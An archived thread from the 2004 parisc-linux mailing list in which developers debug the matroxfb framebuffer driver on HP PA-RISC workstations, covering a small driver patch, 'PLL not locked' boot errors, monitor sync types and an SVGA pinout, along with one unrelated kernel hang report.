 static inline u_int32_t mga_readl(vaddr_t va, unsigned int offs) {
-	return readl(va.vaddr + offs);
+	return fb_readl(va.vaddr + offs);
 }
 
 static inline void mga_writeb(vaddr_t va, unsigned int offs, u_int8_t value) {
-	writeb(value, va.vaddr + offs);
+	fb_writeb(value, va.vaddr + offs);
 }
 
 static inline void mga_writew(vaddr_t va, unsigned int offs, u_int16_t value) {
-	writew(value, va.vaddr + offs);
+	fb_writew(value, va.vaddr + offs);
 }
 
 static inline void mga_writel(vaddr_t va, unsigned int offs, u_int32_t value) {
-	writel(value, va.vaddr + offs);
+	fb_writel(value, va.vaddr + offs);
 }
 #else
 static inline unsigned int mga_readb(vaddr_t va, unsigned int offs) {


-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Get your Matrox PCI cards out of the basement ...
Date: Thu, 3 Jun 2004 04:23:04 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <20040603032304.GA22448@sal.ucc.ie>
References: <20040602221734.GA26176@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
X-Trace: ger.gmane.org 1416623465 9852 80.91.229.3 (22 Nov 2014 02:31:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 31204 invoked by uid 65534); 3 Jun 2004 03:23:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx023) with SMTP; 03 Jun 2004 05:23:18 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DFEDF3BDF1; Wed,  2 Jun 2004 21:23:09 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by free.linux.hp.com (Postfix) with ESMTP id 24B833BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 Jun 2004 21:23:07 -0600 (MDT)
Original-Received: from sal.ucc.ie (Debian-exim@sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i533N5EJ020259;
	Thu, 3 Jun 2004 04:23:05 +0100
Original-Received: from xam by sal.ucc.ie with local (Exim 4.32)
	id 1BVioq-0005qN-4E; Thu, 03 Jun 2004 04:23:04 +0100
Mail-Followup-To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20040602221734.GA26176@solo.franken.de>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21696

On Thu, Jun 03, 2004 at 12:17:34AM +0200, Thomas Bogendoerfer wrote:

> ....I got the matroxfb driver working on my B2600 including X on top
> of fbdev (the mga driver doesn't work yet). So far I just used
> a very old Matrox Millenium I. Below is the necessary patch for
> 2.6.7-rc1.

I tried 2.6.7-rc2-pa1 with your patch (which applies fine),
but I wasn't successful in getting the card to work.
BTW, I'm running Debian/testing updated today.

I tried with the "VGA BIOS" dip switch set on and off,
I also tried the "init", "mem" boot parameters and different
video resolution modes. I even tried to swich it to another PCI slot,
 but no success (the Voodoo2 works in the PCI slots I tried).


The result is similar to what I had with the ATI Rage XL I
also tried to get working ... the graphics card is detected,
and accessible via /dev/fb0, and I can use fbset to change
the resoltions, but I don't see any output on my monitor(s) ...
is simply stays black!

There is also a error message when the matrox is detected on
boot:

beast kernel: matroxfb: Matrox Millennium (PCI) detected
beast kernel: matroxfb: Your Matrox device does not have BIOS
beast kernel: matroxfb: 640x480x8bpp (virtual: 640x3276)
beast kernel: matroxfb: framebuffer at 0xF4800000, mapped to 0xf4800000, size 2097152
beast kernel: fb0: MATROX frame buffer device
beast kernel: fb0: initializing hardware
beast kernel: matroxfb: Pixel PLL not locked after 5 secs
beast kernel: matroxfb: Loop PLL not locked after 5 secs


N.B. the "PLL not locked after 5 secs" messages also appear when
I try to change the resolution with fbset. fbset is busy for some
seconds (at first I thought the process locked up), but then returns
printing out those messages, and another 'fbset' (without arguments)
afterwards confirms that the resolution has been changed.
However the monitor stays black ...

Any hints?

Thanks,
   Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] BUG 2.6.6-pa4 hang in cache_alloc_refill
Date: Wed, 2 Jun 2004 23:14:51 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20040603051451.GB14887@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623465 9854 80.91.229.3 (22 Nov 2014 02:31:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 10389 invoked by uid 65534); 3 Jun 2004 05:15:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx014) with SMTP; 03 Jun 2004 07:15:14 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 39A413BDFA; Wed,  2 Jun 2004 23:14:56 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 29F983BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 Jun 2004 23:14:53 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 6421D29808F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 Jun 2004 23:14:52 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 14944-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 Jun 2004 23:14:51 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C1DF629805B; Wed,  2 Jun 2004 23:14:51 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21697

Hi,
Just reporting that gsyprf11 (A500-6X) hung recently.
No ping. no console response.
No console output besides iptables LOG entries.

I TOC'd the box and took the following notes:

GR02 0x10104624 sys_call_table64+624
IIA  0x10175cdc cache_alloc_refill+274

If someone wants the entire PIM info, I can post it.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [xam: Re: [parisc-linux] Get your Matrox PCI cards out of the
	basement ...]
Date: Thu, 3 Jun 2004 00:19:32 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20040602231932.GB21817@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
X-Trace: ger.gmane.org 1416623466 9856 80.91.229.3 (22 Nov 2014 02:31:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 4801 invoked by uid 65534); 2 Jun 2004 23:19:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx033) with SMTP; 03 Jun 2004 01:19:48 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 23BE23BDED; Wed,  2 Jun 2004 17:19:41 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by free.linux.hp.com (Postfix) with ESMTP id C5A653BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 Jun 2004 17:19:37 -0600 (MDT)
Original-Received: from sal.ucc.ie (Debian-exim@sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i52NJXEJ003479
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 Jun 2004 00:19:33 +0100
Original-Received: from xam by sal.ucc.ie with local (Exim 4.32) id 1BVf1A-0005jV-H5
	for parisc-linux@lists.parisc-linux.org; Thu, 03 Jun 2004 00:19:32 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21698

On Thu, Jun 03, 2004 at 12:17:34AM +0200, Thomas Bogendoerfer wrote:

> ....I got the matroxfb driver working on my B2600 including X on top
> of fbdev (the mga driver doesn't work yet). So far I just used
> a very old Matrox Millenium I. Below is the necessary patch for
> 2.6.7-rc1.

Great news!

I just got mine two days ago (from eBay), and compiled 2.6.7-rc2-pa1
yesterday (with matroxfb support), but haven't tested it yet.

I'll apply your patch and recompile 2.6.7-rc2-pa1 and let you
know whether I have success on my C3000 aswell.

Thanks alot,
   Max


PS: My Matrox as also a (2MB + 6MB expansion board).
Did you pass any special boot flags? What about the VGA BIOS dip switch,
is it set to enable or disable?

----- End forwarded message -----
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Get your Matrox PCI cards out of the basement ...
Date: Thu, 3 Jun 2004 08:35:25 -0500
Lines: 55
Approved: news@gmane.org
Message-ID: <200406030835.25787.mszick@goquest.com>
References: <20040602221734.GA26176@solo.franken.de>
	<20040603032304.GA22448@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623466 9861 80.91.229.3 (22 Nov 2014 02:31:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:06 +0000 (UTC)
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18891 invoked by uid 65534); 3 Jun 2004 13:34:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 03 Jun 2004 15:34:04 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DD22A3BDCF; Thu,  3 Jun 2004 07:33:50 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.goquest.com (ns1.goquest.com [12.18.108.6])
	by free.linux.hp.com (Postfix) with SMTP id 0DF073BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 Jun 2004 07:33:48 -0600 (MDT)
Original-Received: (qmail 24512 invoked by uid 497); 3 Jun 2004 13:33:31 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with
	qmail-scanner-1.20st (clamscan: 0.60. spamassassin: 2.55.
	Clear:RC:1(66.90.217.93):SA:0(-2.5/5.0):. 
	Processed in 8.647461 secs); 03 Jun 2004 13:33:31 -0000
X-Spam-Status: No, hits=-2.5 required=5.0
X-Qmail-Scanner-Mail-From: mszick@goquest.com via mail.goquest.com
X-Qmail-Scanner: 1.20st (Clear:RC:1(66.90.217.93):SA:0(-2.5/5.0):. Processed
	in 8.647461 secs)
Original-Received: from unknown (HELO 66-90-217-93.dyn.grandenetworks.net)
	(66.90.217.93)
	by mail.goquest.com with SMTP; 3 Jun 2004 13:33:22 -0000
User-Agent: KMail/1.6.2
In-Reply-To: <20040603032304.GA22448@sal.ucc.ie>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21699

On Wed June 2 2004 22:23, M. Grabert wrote:
> N.B. the "PLL not locked after 5 secs" messages also appear when
> I try to change the resolution with fbset. fbset is busy for some
> seconds (at first I thought the process locked up), but then returns
> printing out those messages, and another 'fbset' (without arguments)
> afterwards confirms that the resolution has been changed.
> However the monitor stays black ...
>
> Any hints?

Monitor? What monitor? How cabled?
There are three flavors of getting sync to the monitor;
composite, sync on green, and separate...
A display card with a SVGA connector on it will produce
one, two or all three flavors - either conncurrently or selectively
depending on card (manufacturerer, age, etc)...
Similar story with monitors...

If using an older HP (or other) high resolution monitor - it
most likely expects "sync on green" (or "separate" if it uses
BNC connectors)...
While your graphics card may have to be set (either manually
or by software) to produce other than "composite".

The short answer:
Your not out of luck yet - It could be something simple.

Mike
PS: the monitor that came with my 720 (5-BNC connectors)
will run with either "separate" or "sync on green" - it doesn't
recognize "composite" (the pc-world standard).
(Once you buy or build a suitable conversion cable)

PPS: SVGA connector:
1 - red
2 - green (sync on green here)
3 - blue
4 - sense 2
5 - self test (and TTL ground)
6 - red ground
7 - green ground
8 - blue ground
9 - key
10 - sync ground
11 - sense 0
12 - sense 1
13 - Hor. Sync (separate or composite)
14 - Vert. Sync
15 - sense 3
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Get your Matrox PCI cards out of the basement ...
Date: Thu, 3 Jun 2004 15:38:19 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <20040603133819.GB1949@solo.franken.de>
References: <20040602221734.GA26176@solo.franken.de>
	<20040603032304.GA22448@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623466 9864 80.91.229.3 (22 Nov 2014 02:31:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 3575 invoked by uid 65534); 3 Jun 2004 13:50:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 03 Jun 2004 15:50:24 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 341913BDD0; Thu,  3 Jun 2004 07:50:06 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from elvis.franken.de (elvis.franken.de [193.175.24.41])
	by free.linux.hp.com (Postfix) with ESMTP id 946DF3BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 Jun 2004 07:50:03 -0600 (MDT)
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1BVsTU-0004I1-0D
	for parisc-linux@lists.parisc-linux.org; Thu, 03 Jun 2004 15:41:40 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 3A28927C62; Thu,  3 Jun 2004 15:38:19 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20040603032304.GA22448@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21700

On Thu, Jun 03, 2004 at 04:23:04AM +0100, M. Grabert wrote:
> beast kernel: matroxfb: Pixel PLL not locked after 5 secs
> beast kernel: matroxfb: Loop PLL not locked after 5 secs

bad, either the PLL setup write didn't reach hardware, or
reading of the locked bit of the PLL fails. It looks like
the PCI subsystem behaves differently between my B2600 and
your C3000 :-(

> N.B. the "PLL not locked after 5 secs" messages also appear when
> I try to change the resolution with fbset. fbset is busy for some
> seconds (at first I thought the process locked up), but then returns

makes sense. fbset triggers a reprogramming of the PLL and that
fails aber 5 seconds.

> Any hints?

not at the moment :-(

Can anybody describe the difference of the PCI bus between C3000 and
B2600 ?

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Get your Matrox PCI cards out of the basement ...
Date: Thu, 3 Jun 2004 11:07:32 -0500
Lines: 71
Approved: news@gmane.org
Message-ID: <200406031107.32388.mszick@goquest.com>
References: <20040602221734.GA26176@solo.franken.de>
	<200406030835.25787.mszick@goquest.com>
	<20040603151347.GB23488@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623467 9868 80.91.229.3 (22 Nov 2014 02:31:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 20239 invoked by uid 65534); 3 Jun 2004 16:05:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx017) with SMTP; 03 Jun 2004 18:05:27 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B621C3BDCE; Thu,  3 Jun 2004 10:05:11 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.goquest.com (ns1.goquest.com [12.18.108.6])
	by free.linux.hp.com (Postfix) with SMTP id 2E91A3BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 Jun 2004 10:05:09 -0600 (MDT)
Original-Received: (qmail 12976 invoked by uid 497); 3 Jun 2004 16:05:02 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with
	qmail-scanner-1.20st (clamscan: 0.60. spamassassin: 2.55.
	Clear:RC:1(66.90.212.156):SA:0(-2.5/5.0):. 
	Processed in 6.84668 secs); 03 Jun 2004 16:05:02 -0000
X-Spam-Status: No, hits=-2.5 required=5.0
X-Qmail-Scanner-Mail-From: mszick@goquest.com via mail.goquest.com
X-Qmail-Scanner: 1.20st (Clear:RC:1(66.90.212.156):SA:0(-2.5/5.0):. Processed
	in 6.84668 secs)
Original-Received: from unknown (HELO 66-90-212-156.dyn.grandenetworks.net)
	(66.90.212.156)
	by mail.goquest.com with SMTP; 3 Jun 2004 16:04:54 -0000
User-Agent: KMail/1.6.2
In-Reply-To: <20040603151347.GB23488@sal.ucc.ie>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21701

On Thu June 3 2004 10:13, you wrote:
> On Thu, Jun 03, 2004 at 08:35:25AM -0500, Michael S. Zick wrote:
> > On Wed June 2 2004 22:23, M. Grabert wrote:
>
> SGI Multisync Monitor (NOT sync-on-green capable AFAIK, works fine
> with the Voodoo2 and also with PCs, with the 'normal' VGA cable).

General Rule -
Anything recent enough to call itself "multisync" can sense and use
"sync-on-green" (My limited experience is that anything properly
named "multisync" with an SVGA connector will accept any of the three.)

>
> This monitor doesn't display a "out-of-sync" (you will just hear
> a clicking noise), so just to get sure I also connected it to a
> analogue SVGA LCD display, that tells you if it is out-of-sync.

Ah...
I had that sort of monitor - the noise is relays used to select
sync ranges.
So the monitor is sensing sync pulses (however they get there)
but can't find a matching range (or the pulses aren't stable
enough).
So suspect software setup of the card first -
Sounds like you have (unusable) sync to the monitor.

>
> BTW, I thought that the 'seperate' is actually using the normal
> VGA cable signalling, but seperates each signal/wire physically and
> uses BNC connectors.

